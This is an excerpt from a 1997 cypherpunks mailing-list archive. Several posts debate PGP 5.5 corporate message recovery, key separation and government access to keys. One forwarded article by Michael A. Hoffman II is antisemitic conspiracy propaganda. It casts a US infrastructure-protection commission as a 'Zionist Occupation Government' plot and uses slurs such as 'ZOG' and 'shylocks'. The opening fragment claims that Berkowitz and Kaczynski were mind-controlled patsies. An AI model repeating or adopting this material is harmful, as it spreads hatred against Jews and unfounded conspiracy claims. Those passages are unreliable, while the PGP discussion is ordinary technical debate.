greatly reduced since they will
be written off by the media as "jail-house conspiracy theories by a
desperate death-row inmate."
The same pattern emerged with "Son of Sam" David Berkowitz, another
mind-controlled patsy who
only divulged truthful details concerning his co-conspirators and the
other shooters, after he was
entombed in Attica prison with a sentence of 300 years. A similar
pattern may be observed in the
passive behavior of Ted Kaczynski, the alleged "Unabomber," who I also
believe to be a
mind-controlled scapegoat. --Michael A. Hoffman II Copyright(c)1997.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ZOG <zog@dev.null>
Date: Sun, 12 Oct 1997 00:22:18 +0800
To: cypherpunks@toad.com
Subject: Information Warfare
Message-ID: <343FA1B1.4575@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



    The Campaign for Radical Truth in History http://www.hoffman-info.com

         PO Box 849, Coeur d'Alene, Idaho 83816 .Visit our Bookstore

 ZOG Advances Control over Information with Clinton's Executive Order 13010
                          for "Information Warfare"

        by Michael A. Hoffman II Copyright(c)1997. All Rights Reserved

Excerpt: "Managing the new risks inherent in an information-based society
requires a different type of information exchange within the industry and
between industry and government...Key to its success will be protecting the
privileged information from both government and the private sector from
unauthorized disclosure."

      -- Robert T. Marsh, Chairman, President's Commission on Critical
                          Infrastructure Protection

The Zionist Occupation Government (ZOG) further advanced Communist-like
controls over American infrastructure, and underscored the cooperation
between the Communist and Capitalist mentalities, when U.S. President Bill
Clinton, with virutally no scrutiny from the Establishment news media,
signed totalitarian Executive Order 13010 last July (1997).

This Order established a new wing of the secret, banker-controlled
government of the United States. While Clinton's Executive Order itself is
written in the lingo of the bureaucrat and hence is largely insipid, its
"fruits" are not.

Executive Order 13010 is concerned with cyberspace "threats" to the power
structure; with computer hackers who have the ability to interefere with
government, business and industry operations. Well, that's the cover story
anyway. In practice, the Executive Order authorizes a commission of bankers,
industrialists and secret policemen (and police women) to gather
intelligence on dissidents, government critics and anyone who is a potential
threat to the continuing hegemony of the Aryan-Zionist ruling class.

Here is a portion of the remarks delivered at a meeting (chaired by Janet
"The Witch of Waco" Reno), by Robert T. Marsh, Chairman, President's
Commission on Critical Infrastructure Protection, at the Bankers Roundtable,
Washington, DC on September 11, 1997:

"One of our toughest problems -- across all infrastructures -- is the
sharing of information. There is already a heavy volume of information
passed by industry -- especially banks, as you well know -- to government as
part of the regulatory process and through law enforcement.

"Managing the new risks inherent in an information-based society requires a
different type of information exchange within the industry and between
industry and government. Furthermore, managing these new risks calls for
partnership at many different levels, from policy-making aimed at preventing
a crisis to responding if such a crisis occurs. The Commission has some
specific proposals in this regard:

"We will recommend the establishment of an Information Sharing, Analysis,
and Warning "Organization" -- a public-private organization that embodies
the trust essential for the partnership between government and the
owners/operators for successful infrastructure assurance.

"We envision an 'information clearinghouse' staffed by up-and-comers from
both government and industry who will receive relevant information from all
sources -- public and private, anonymous or attributable -- analyze this
information to assess what is happening in the infrastructures, decide on
the necessary protective measures to be taken, then disseminate needed
information to both government and the private sector. Key to its success
will be protecting the privileged information from both government and the
private sector from unauthorized disclosure.

"Would you be willing to take turns providing a talented young banker from
your company to represent the banking and finance sector inside such an
organization?

"Enhance industry's information sharing capability by creating Sector
Information Assurance Coordinators that best suit each infrastructure's
information-sharing needs -- either through an existing association or by
creating a new entity. In essence, we are proposing that each industry
designate a representative to be the channel for exchanging information with
the government. Your reaction?

"Create a National Infrastructure Assurance Council -- a very high level
council comprised of senior CEOs from throughout the critical
infrastructures, meeting regularly with selected Cabinet Officers...

"These recommendations lay the foundation for the 'trusted environment' to
achieving the public-private partnership essential for protection into the
next century."

What we are seeing here is the establishment of a thought police agency
within the Federal government with links to law enforcement, concealed under
weasel words such as "Information Clearinghouse" and "Sector Information
Assurance." This recalls the Pentagon term for the slaughter of Iraqi
civilians by the U.S. Air Force-- "collateral damage."

Dr. Goebbels at least had the relative honesty to call his agency the
Ministry of Propaganda. The Zionist Occupation Government refers to their
propaganda and secret police functions with the bland title of "National
Information Assurance Council." They're not propagandists, they're "Sector
Information Assurance Coordinators."

Mr. Marsh's reference to the gathering of "anonymous" information is of
interest. Here is the keystone of all totalitarian powers--the anonymous
snitch who turns in the hated old lady next door as a witch only because he
can do so without attribution. Our Anglo-Saxon Common Law requires two
witnesses and the U.S. Constitution insures the right to face one's
accusers, but ZOG is operating on other principles. Chairman Marsh:

"The objective is to achieve voluntary participation of all players within
each infrastructure and to assemble and exchange information without fear of
attribution to specific sources."

That is the chairman of a government commission speaking. This is not
conspiracy theory. These remarks are on the record. They constitute the
Revelation of the Method (cf. my book, "Secret Societies and Psychological
Warfare").

The System is becoming increasingly vulnerable, especially the banking
system which is the biggest con-game of all, since it is based entirely on
the confidence of the public in a commodity which in itself has zero
value--paper notes referred to as "money." Wealth is created and dynastic
families within the Aryan-Zionist ruling class are maintained, by the
circulation or withdrawal of worthless Federal Reserve paper to which the
public is taught to attribute value.

In a similar fashion, the worthless mandates and orders of the Federal
government, promoting a gigantic military-industrial complex in the service
of War-Zionism and the Novus Odo Seclorum of Satan, sodomy and aborticide,
are advanced almost entirely through the value of the fear and awe the
public is taught to have for the Federal government.

As both our funny-money and our funny-government become more and more
obviously worthless in the eyes of even some of the masses of goyim, the
confidence game can no longer be manintained on the basis of psychological
warfare principles alone. The risk factor inherent in the System's "Truth or
Consequences" gambit (discussed at length in my book) has reached the point
where the risk must be "managed" by the function of cyber police.

This is what Clinton's Executive Order 13010 establishes-- a gigiantic
listening post for the secret police through the auspices of business and
industry. Banks having been informing on their customers for years--since
the administration of Ronald ("Super Patriot") Reagan who rubber-stamped the
most onerous bank-reporting rules in our nation's history. Chairman Marsh
admits this:

"There is already a heavy volume of information passed by industry --
especially banks, as you well know--to government as part of the regulatory
process and through law enforcement."

Now the "turn in your neighbor" ethic of the banks is being mandated for all
levels of U.S. commerce through the recruitment, in Mr. Marsh's words, of
"elite CEOS."

The whole point is to shore up flagging confidence in the Federal
government's con-game, as Marsh admits:

"Both the financial service industry and government require strong public
confidence -- the industry in order to derive growth, and the government in
order to derive political viability. Each is central to the daily lives of
virtually every American, and the degree of trust the public is willing to
place in them depends directly on the reliability of the services provided.
Infrastructure, as the carrier of the communications and transactions which
deliver those services, is, therefore, critical to the performance of both.
With the retention of public confidence as a common bond, how might the
industry and government better cooperate to assure that critical financial
services are secured in the information age?"

The chairman of the President's Commission on Critical Infrastructure
Protection is saying that bankers have an interest in deceiving the people
just as government has. The bankers' interest is in continuing to reap
profits and the government's interest is to maintain itself in power against
populist opposition forces.

Chariman Marsh says that the public will only continue to be deceived
("trust"), if the shylocks can keep the game running smoothly. Of course,
that's quite a hat trick in view of the fact that the public is becoming
increasingly aware that the objective of ZOG's game is their own
enslavement. The focus of ZOG in this regard is the "information age."

ZOG's desire is to redouble their spying on us and to further
institutionalize that spying at all sectors of business and commerce and
then link it to the secret police ("law enforcement") for various sorts of
economic, political and career reprisals and penal sanctions.

Here is Mr. Marsh, this time in a speech to the New York Federal Reserve
bankers, September 24, 1997 on what they fear most:

"But, as you well know, major trends of change -- globalization, industry
restructuring, Internet banking, and cyber cash --combine to create new
risks. This is true within the financial services industry as well as the
telecommunications and electric power industries upon which financial
services heavily depend...it is the vulnerability to a possible coordinated
attack on physical operations centers, or on the complex 'system of systems'
which enables this industry to function world-wide, that is of rising
concern."

Marsh before a meeting of Harvard University's John F. Kennedy School of
Government, Sept. 20, 1997, speaking about "illegal" government activity in
connection with "information warfare":

"Let me talk briefly about a recent Joint Staff exercise with which some of
you are probably familiar. This was just one in a series of no-notice
exercises, but this one focused specifically on information warfare. Some of
the issues raised were quite troubling -- including the fact that the Joint
Staff ended up fighting this war, which was not only bad but illegal. They
include many of the questions that the Commission has been grappling with
for the past year: Who should take the lead in responding to a cyber attack
on the United States? Should there be a Commander In Chief for information
warfare? Where are the borders in the cyber age? What are the jurisdictions?
Is this a law enforcement or a defense problem?"

Chairman Robert Marsh's ties are to the military-industrial complex. He is
the former CEO of Morton-Thiokol Corporation, a notorious polluter and
builder of components for nuclear warhead-laden missiles. Mr. Marsh
currently is a trustee of the MITRE Corporation.

According to investigative reporter Stephen Knight in his book, "Jack the
Ripper: The Final Solution," London's Mitre Square was a dumping ground for
the Ripper's victims. Knight states: "Mitre Square has strong Masonic
significance. In fact it is fair to say it was the most Masonic of all
places in London, except for the Great Hall of the Grand Lodge itself."
(London: Grafton Books, 1977, p. 175). I am not here implying that Mr. Marsh
is necessarily a murderer or in league with Jack the Ripper, only that his
relationship with the Mitre name is a synchronicity worth noting. (For the
significance of "synchronicity" to the ruling class cf. the predictive
modeling of the commodities markets and the "catastrophe theory" studies of
Prof. Christopher Zeeman of Warwick University).

Stephen D. Mitchell of the US Justice Dept. is a member of the Marsh
commission. Here he discusses the "insider threat"--the fear the government
has of patriots and dissidents being hired in "critical infastructure" areas
such as banks and of how to screen these "insiders" out of employment. He
also expresses the government's frustration with state privacy laws:

"Privacy is trickier. Our outreach revealed a degree of frustration among
infrastructure owners and operators, some of whom wanted to take greater
employee security precautions than some laws might otherwise allow....The
importance of individual privacy has made obtaining background information
on a potential or current employee a fertile area for strong state laws.
Though grounded in best intentions, this has resulted in unpredictable
disparities of approaches across state lines. The bottom line: a critical
infrastructure owner and operator may in some instances be discouraged if
not prevented from asking many of the types of questions that could help
identify and prevent a growing insider threat to our infrastructures."
--Department of Defense, Worldwide Anti-Terrorism Conference, Aug. 21, 1997.

Other members of the President's Commission on Critical Infrastructure
Protection:

Merritt Adams, ATT Corporation. Richard P. Case, IBM. Dr. Mary Culnan,
Georgetown University. Peter Daly, U.S. Treasury. John C. Davis, National
Security Agency. Brenton Greene, Dept. of Defense. William B. Joyce, CIA.
Stephan D. Mitchell, Dept. of Justice. Irwin Pikus, Dept. of Commerce. John
R. Powers, FEMA. Susan Siemans, FBI. Frederic Struble, Board of Governors,
Federal Reserve bank. Nancy Wong, Pacific Gas and Electric.

Relevant Links:

President's Commission on Critical Infrastructure Protection:

http://www.pccip.gov/index.html

Executive Order 13010: http://www.pccip.gov/eo13010.html

----------------------------------------------------------------------------

                 archives / bookstore / news bureau / home






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 12 Oct 1997 01:28:18 +0800
To: cypherpunks@Algebra.COM
Subject: Building the Surveillance State
Message-ID: <v03102801b0656340b52c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

I predict that nearly every company which enforces the PGP 5.5 corporate
snoopware will in fact routinely convert every incoming and outgoing
message to plaintext for searching by keywords, topics, etc.

This would be analogous to every phone call, incoming and outgoing, being
recorded. Except that instead of having security people _listen_ to each
recording, the messages can be glanced at quickly, marked for further
review, compiled into dossiers, or searched for the keywords of interest to
the security people.

(Please note that I am not saying such phone call or e-mail monitoring is
illegal, or should be illegal. A property owner is free to define his own
policies for how he uses his own property. This includes company phones,
company computers, and even the time of employees while they are on his
premises. The issues are not the legality or ethicality of such recordings
and monitorings, but the dangers. And whether people such as ourselves
should help build or deploy such surveillance capabilitities. Or work for
companies with such surveillance policies.)

I further predict that this will actually _increase_ the amount of e-mail
surveillance being done. Whereas today it is of course easy for companies
to surveil unencrypted employee mail, I doubt that most of them do. But the
adoption of snoopware like PGP 5.5 will raise the consciousness of company
security people. "Hmmhh, maybe we ought to buy some of those e-mail keyword
analyzers and combine them with our new purchase of PGP 5.5? If our
employees are encrypting, we'd better keep tabs on them."

By building in such easily-enforceable snooping capabilities, and by
building in such things as the ability to reject even _incoming_ e-mail
which has failed to encrypt to the corporate key (as I understand the
product), this greatly moves us toward a surveillance era.

Is this what "Pretty Good Privacy" really stands for?

- --Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
- ---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."



-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBND+11FK3AvrfAt9qEQKOZQCdFRS6Ogl3da7TDFxmFF7E9kE16RsAoPaG
iFjXzww6H5c1no3iYGvL6BGD
=wt4J
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Sun, 12 Oct 1997 01:48:04 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Building the Surveillance State
In-Reply-To: <v03102801b0656340b52c@[207.167.93.63]>
Message-ID: <3.0.3.32.19971011104004.03eec138@ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:22 AM 10/11/97 -0700, Tim May wrote:
>
>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1
>
>I predict that nearly every company which enforces the PGP 5.5 corporate
>snoopware will in fact routinely convert every incoming and outgoing
>message to plaintext for searching by keywords, topics, etc.
>
>This would be analogous to every phone call, incoming and outgoing, being
>recorded. Except that instead of having security people _listen_ to each
>recording, the messages can be glanced at quickly, marked for further
>review, compiled into dossiers, or searched for the keywords of interest to
>the security people.
>
>(Please note that I am not saying such phone call or e-mail monitoring is
>illegal, or should be illegal. A property owner is free to define his own
>policies for how he uses his own property. This includes company phones,
>company computers, and even the time of employees while they are on his
>premises. The issues are not the legality or ethicality of such recordings
>and monitorings, but the dangers. And whether people such as ourselves
>should help build or deploy such surveillance capabilitities. Or work for
>companies with such surveillance policies.)
>
>I further predict that this will actually _increase_ the amount of e-mail
>surveillance being done. Whereas today it is of course easy for companies
>to surveil unencrypted employee mail, I doubt that most of them do. But the
>adoption of snoopware like PGP 5.5 will raise the consciousness of company
>security people. "Hmmhh, maybe we ought to buy some of those e-mail keyword
>analyzers and combine them with our new purchase of PGP 5.5? If our
>employees are encrypting, we'd better keep tabs on them."
>
>By building in such easily-enforceable snooping capabilities, and by
>building in such things as the ability to reject even _incoming_ e-mail
>which has failed to encrypt to the corporate key (as I understand the
>product), this greatly moves us toward a surveillance era.
>
>Is this what "Pretty Good Privacy" really stands for?

I seem to remember that it was just this sort of feature set that Phil
Zimmerman was grousing about when ViaCrypt came out with their "Business
Version".  It was used as one of the reasons for his takeover of ViaCrypt.

I guess it shows you just how much influence he has on PGP inc now...

"We have always supported the needs of law enforcement.  We have always
been at war with terrorists and law breakers." - Winston Zimmerman

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 11 Oct 1997 18:34:59 +0800
To: whgiii@invweb.net
Subject: IETF policy on refusing to allow politics to weaken protocols (Re: Why Adam Back keeps politicizing technical issues)
In-Reply-To: <199710110431.AAA21720@users.invweb.net>
Message-ID: <199710110941.KAA01200@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Williams title being: `Why Adam Back keeps politicizing technical
issues'

I would like to comment that the reason politics are arising in
discussion of communications security issues is a natural consequence
of the fact that it's a damn political topic.  Ignore the politics and
you may implement a mandatory GAK system, or at least a GAK compliant
one.  Actually I also argue that there are technical security reasons
why the CMR approach offers weaker security.  I've gone over these
reasons already in this thread, so I won't repeat them.

IETF I think has a stated policy (at least this is the case for the
IPSEC standardisation discussions I have been intermittently
following) to not allow politics to weaken it's protocols and
algorithm choices.  PGP Inc introducing GAK compliance at the cost of
security is a clear case where this policy should be kicking in.

William Geiger <whgiii@invweb.net> writes:
> In <199710110112.CAA06510@server.test.net>, on 10/10/97 
>    at 08, Adam Back <aba@dcs.ex.ac.uk> said:
> 
> Ok Adam here is a challenge for you:
> 
> -- Explain why Corporations do not have the right to access *their*
> documents in whatever form they may be in.

You will note that I didn't say this.  In fact I spent half of last
night detailing alternate less GAK friendly ways for PGP Inc to
provide corporate message snooping, the very functionality which is
the motivation for their CMR.  Perhas you were not reading.

What I did say, and it appears to be a meme which didn't stick with
you as I'm sure I raised this in a previous post replying to you is:

Key functionality should be separated: in the same way that you have
separate signature and encryption keys, because of the differences
between appropriate backup policies, security implications, and
life-times, you should have separate email receipt encryption keys and
storage keys.  Transient email receipt keys should not be escrowed,
but for security reasons perhaps should even be securely wiped after
use.

As an additional security bonus: storage keys can be symmetric (where
they are for your own use) which avoids the more less certain and
more quickly sliding target of public key lengths.

I will guess that the reason this meme doesn't suit you is that it's
not the way your OS/2 pgp mail client plugins work, and therefore not
yet part of your mindset.  So perhaps it's not the status quo for your
and some other apps to use separate storage keys for archiving and
receiving encrypted mail; but there are clear security advantages to
doing it this way.

> -- Failing that explain how PGP 5.5 furthers the cause of GAK and
> PGP 2.6.x does not when I can get my network to do the same thing in
> a weekend and a couple of scripts using PGP 2.6.x.

There is are some clear differences: 

1. You can visually see multiple crypto recipients in most PGP enabled
MUAs, as they usually correspond to email CC fields.

2. PGP Inc is attempting to weakly enforce this special purpose
message snooping recipient embedded into the key certificate.

3. PGP Inc even has (less clear on details here) I think from Jon
Callas first post: pgp 5.5 client which enforces inclusion on sent
mail as controlled by a remote company message snooping czar &
enforced inclusion on received mail by the SMTP policy enforcer.

4. There is a difference between what you or I may knock up in
scripts, and what PGP Inc attempts to persuade the IETF include as
conformancy requirements, and what PGP does implement ahead of the
standardisation process.

5. The IETF process should be accepting proposed designs and deciding
on the best ones, which PGP Inc, and the other suppliers would then go
and implement.  As it is now, as William Allen Simpson just pointed
out, PGP Inc is cruising ahead implementing, and deploying things
without bothering with the OpenPGP process.


Your point about using normal multiple recipient to provide snooping
is a good one.  It would be a much less GAK friendly solution for PGP
Inc to encrypt to a second recipient without any message snooping
flags encoded into the PGP standard.  That way email clients won't
reply to this second recipient, and users won't have an automated
snooping feature embeded in their PGP for personal privacy, or
competitor re-write of the same compliant OpenPGP app, for someone
else's benefit (recipient company, or government).

To snoop received email, it provides similar amounts of snooping
enforcement if the recipient's PGP 5.5 for business client when the
user decrypts re-encrypts to a storage key that the company does have
escrowed, or where there is a second crypto recipient in the storage.
(Talking mail folders here.)

> -- Failing that explain why there were no great outcries that PGP
> 2.6.x is GAKware???

See above.  The objectionable new feature in PGP5.5 (and apparently
pgp5.0 too without our realisation to this point) is enforcement in
senders clients to support message snooping, in a form which can
easily be used to interoperate with GAK, and thereby prepares
everyones OpenPGP compliant email client to enforce GAK against them.

At the very most the maximum acknowledgement that it seems reasonable
to me for OpenPGP to have of the GAK compliancy feature is to flag
this key and allow the user to send to this recipient at their option.

In addition I am arguing that PGP Inc are doing the Internet community
a major disservice by choosing to implement message snooping in this
way.  Much better, less controversial, and more secure to do the
snooping in the pgp5.5 client after decryption.  That doesn't need to
involve changes to the message spec.  PGP Inc's SMTP policy enforcer
could then be changed in functionality to stripping off the company
snooping crypto recipient field before it leaves the LAN for security
reasons.

> Now if you agree that Corporations *do* have a right to access their
> documents but you disagree with the technical aspects of how PGP 5.5
> achieves this then drop the fearmongering and spell out how you
> think this can be better achieved.

I already did this half a dozen times.  I'm not fear mongering, I'm
attempting to point out the dangers of including GAK compliancy.  And
to point out the opportunity to make PGP non-GAK compliant, and
thereby frustrate mandatory GAK proponents.  PGP is trying to discard
this opportunity, when there are clear alternate methods which can be
argued are more secure, better meet PGP's Jon Callas's stated user
requirements, don't support GAK, and don't require modifications to
the standard.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ian Brown <I.Brown@cs.ucl.ac.uk>
Date: Sat, 11 Oct 1997 18:16:02 +0800
To: "William H. Geiger III" <whgiii@invweb.net>
Subject: Re: PGP CAKware & IETF controlled Open-PGP standard
In-Reply-To: <199710110557.BAA22975@users.invweb.net>
Message-ID: <343F4B28.B3E088A1@cs.ucl.ac.uk>
MIME-Version: 1.0
Content-Type: text/plain



William Geiger wrote:

> This is a stereotypical Strawman. "Even if PGP avoids GAK some other 3rd
> party can modify it to be Gakware." Every version of PGP had the ability
> to encrypt to multiple recipients. As I stated in my previous posts I can
> get PGP 2.6.x to do everything 5.5 does with a couple of scripts.

Yes, but as Adam says, the average Mr. Windows can not. In any case,
this is not a narrow technical argument. Of course any system with
multiple recipients can be turned into GAKware. The point is that we
don't want to make it ANY easier for anyone to do so.

> No this is not mandatory GAK compliance. Mandatory GAK compliance would be
> if every copy of PGP came with a government key and the program *forced*
> the user to encrypt all his messages with it.

Again, as Adam says, how long would it take for a government to
introduce legislation making this mandatory once PGP 5.5-type systems
took off? Or, more insiduously, using its purchasing power - "Federal
agencies will only buy CAK-enabled systems" - to ensure the vast
majority of systems did so.

> Ok Adam here is a challenge for you:
> 
> -- Explain why Corporations do not have the right to access *their*
> documents in whatever form they may be in.

Can I take this one up ;-) The point is, with *communication* keys,
corporations will have full access to the plaintext because it will be
decrypted by the recipient as soon as it arrives. I appreciate your
point about corporations being able to read *their* documents - although
doing so by snooping, without the sender's knowledge, is rather
unethical to say the least - but I don't think they have the right to
snoop on all *incoming* communications, whoever they may be from. This
is the really scary part of PGP 5.5...

> explain why there were no great outcries that PGP 2.6.x is
> GAKware???

...because PGP 2.6.x does not include an SMTP automatic snooping agent.

William Simpson wrote:

> Let us decide _what_ the goals are, _how_ to solve the problems, and
> _then_ decide the protocol details and formats to match the solution.

Absolutely. Can we start with Adam and William's proposal that we should
have three separate types of key: communication, signature, and storage.
This would be very simple to implement; probably the easiest and most
backward-compatible way would be to define a new packet type specifying
a key's usage. 

> Why have a communication enforcement filter, when the only usage is
> supposed to be for recovering archival storage?

Absolutely. I can see the point, and appreciate the difficulties faced
by PGP Inc., in most of the CAK features of PGP 5.5. But I just can
*not* see how the twisted idea of the SMTP snooper ever came about.

Ian.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 12 Oct 1997 02:03:26 +0800
To: cypherpunks@Algebra.COM
Subject: More dangers of corporate snoopware
Message-ID: <v03102802b0656c1cc9e3@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




Suppose I want to send a private message to Andy Grove at Intel.  With
current systems, I would encrypt to his public key and send it to him. Only
he, or those with access to his private key, could read the message.

But suppose CAK becomes common, and suppose Intel has adopted PGP 5.5.

I presume I have to also encrypt to Intel's corporate key...or one of them.
(I assume different users in different departments may have different CAK
keys.)

So, who can read my message besides Andy? The Security Operations
department? The Key Compliance Officer? Or, perhaps, only those _higher_
than Andy Grove, e.g., no one.

And suppose I send a communication to a lower-level person? How many
higher-level persons will be able to read the message?

Will companies really accept that lower-level security people will have
access to the communications about business deals, technology deals, etc.?
The prospects for abuse are obvious.

Or will there be provisions for overriding the PGP 5.5 snoopware features?
Will it become a status symbol to have reached the level of trust where
one's private e-mail is not subject to snoopware encryption?

I suppose it's up to companies to figure out all of these troublesome
issues. I just hope the architecture of PGP 5.5 is pliable enough to allow
the market to decide which options to turn on, which to turn off, and which
to take out completely.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 11 Oct 1997 23:56:30 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: More Quality PC Programming References
Message-ID: <199710111609.LAA26801@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Another good souce of references for programming the PC architecture across
the full range of processors and system extensions (ie PCMCIA) is the 'PC
Systems Architecture Series' of books put out by Addison-Wesley for
MindShare, Inc. Mindshare also has various training courses and seminars.
If interested (I am in no connected to them nor do I receive any $'s from
them):

BBS: 214-705-9604
mindshar@interserv.com
CompuServe: 72507,1054


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 11 Oct 1997 19:02:53 +0800
To: whgiii@invweb.net
Subject: Re: PGP CAKware & IETF controlled Open-PGP standard
In-Reply-To: <199710110517.BAA22561@users.invweb.net>
Message-ID: <199710111017.LAA01278@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




William Geiger <whgiii@invweb.net> again:
> In <199710110154.CAA06536@server.test.net>, on 10/11/97 
>    at 02, Adam Back <aba@dcs.ex.ac.uk> said:
> >Jon Callas <jon@pgp.com> writes:
> >> I am adamantly opposed to any of PGP's business features being MUST
> >> features of OpenPGP. If they were, then our freeware and personal
> >> privacy products wouldn't be conforming applications, and we have
> >> *no* intention of putting them in those products. Wouldn't that be
> >> an interesting situation?
> 
> >I may be misunderstanding something here, but could you tell me how PGP
> >freeware and PGP personal privacy can simultaneously not have recognition
> >of GAK compliant keys, and emit messages telling the users that this is a
> >GAK key (on receipt of the flag you described), and emit messages warning
> >the user that the email will not be delivered (on receipt of that other
> >flag you described).
> 
> I didn't see where Jon said that the other versions versions of PGP would
> not recognize these keys. 

Neither did I.  But the question at hand is whether the IETF OpenPGP
should recognize them.

> What Jon did say is that they would not generate these keys nor
> force compliance with encryption to a second key. I myself would
> want to know that a message encrypted with key A is also being
> encrypted with key B though haveing this info in the public key
> itself is not necessary.

I'd argue that it's more than just not necessary, having the
information in the public key is the sole reason I'm arguing that this
is a GAK compliant feature.

> >If it's defined as being compliant to ignore both of these flags, and the
> >message snooping key then users email will bounce without warning.
> 
> I don't see this as a problem. My Twit/SPAM filter bounces messages
> without warning. As a matter of fact most bounced messages are done so
> without warning. :) 

Not very intuitive to the user though is it.  Also not a very strongly
optional feature if 80% of businesses end up bouncing your mail back
at you because you're "choosing" not to be GAK compliant.

> >If it's defined to silently send to second crypto recipient, you have
> >fully interoperable GAK compliance built in to the core of PGP.  If PGP
> >Inc will remove the GAK compliance when GAK becomes mandatory, I'm sure
> >there are other companies who won't have a problem selling out to GAK (eg
> >IBM, or TIS).
> 
> This is a stereotypical Strawman. "Even if PGP avoids GAK some other 3rd
> party can modify it to be Gakware." 

Not so fast there.  That isn't the stated problem.  The problem is
that not only can some 3rd party adopt it (no modifications necessary,
that's why I'm dubing it "GAK compliant"), but that the rest of the
compliant OpenPGP standards would automatically cooperate to some
degree, and we would thereby be streamlining the migration path to
mandatory GAK.  If PGP retract the GAK compliancy feature, by removing
the functionality in the key, we won't be calling it GAK compliant.
They (and any other government or corporate message snooping feature
implementors) can achieve message snooping without adding this
functionality to the OpenPGP standard.

> Every version of PGP had the ability to encrypt to multiple
> recipients. As I stated in my previous posts I can get PGP 2.6.x to
> do everything 5.5 does with a couple of scripts. Are you no willing
> to take the position that ALL versions of PGP are GAK compliant???

No, they are not.  I've argued in reply to your other post why this is
clearly not so.  The difference is that PGP is creating a new animal:
a key which it is defined will be auto-encrypted to two keys by the
_sender_.  Variations being discussed being auto-encrypt with user
query, or auto-encrypt with user override to disable.  Regardless, the
fact that PGP is encouraging the process of enforcing this dubious
security practice via their policy enforcer means that users are
forced to use the GAK compliancy feature to get through to any
corporates who are using PGP's method of implementing corporate
message snooping.

> >If it's defined to warn but give the option to send to second crypto
> >recipient, well you've still got mandatory GAK compliance, but you've got
> >a pretty little warning that you've got mandatory GAK to rub your nose in
> >the fact for each message you send too.
> 
> No this is not mandatory GAK compliance. Mandatory GAK compliance
> would be if every copy of PGP came with a government key and the
> program *forced* the user to encrypt all his messages with it. This
> is really turning into a shameless FUD campagne on your part Adam
> worthy of David "FUD" Sternlight himself.

It's less strongly enforced GAK compliance, but I think it is still
a form of GAK compliance.

To see why this might be, consider the effects of 80% of the business
community using this feature, and you as a pro-privacy cypherpunk type
(you are pro-privacy aren't you?).  Consider also that government has
mandated that companies hand over their message snooping master key to
the Feds.

Now what happens.  In the above, you have the "option" not to use the
GAK compliance feature in that you can still send a message, but the
option won't be worth much in that the recipient will be unable to
read it.  If lots of people are using this system, that will cut you
off.  You will be unable to send email to these people.  It's all very
well to say you have the "choice" not to do business with them, but
your choices may be severely restricted.

I hope that following from this discussion you can see the advantages
of PGP switching to the use of the normal multiple crypto recipient
field to acheive this message snooping functionality.  It doesn't
apply at all to the recipient.  The snooping of received email for
those using PGP 5.6 "message snooping for businesses" is done after
decryption in the PGP5.6 "for message snooping enforcing" client.  The
snooping of sent mail for users of PGP5.6 "for message snooping
enforcement" client is done inside the corporate LAN as the message
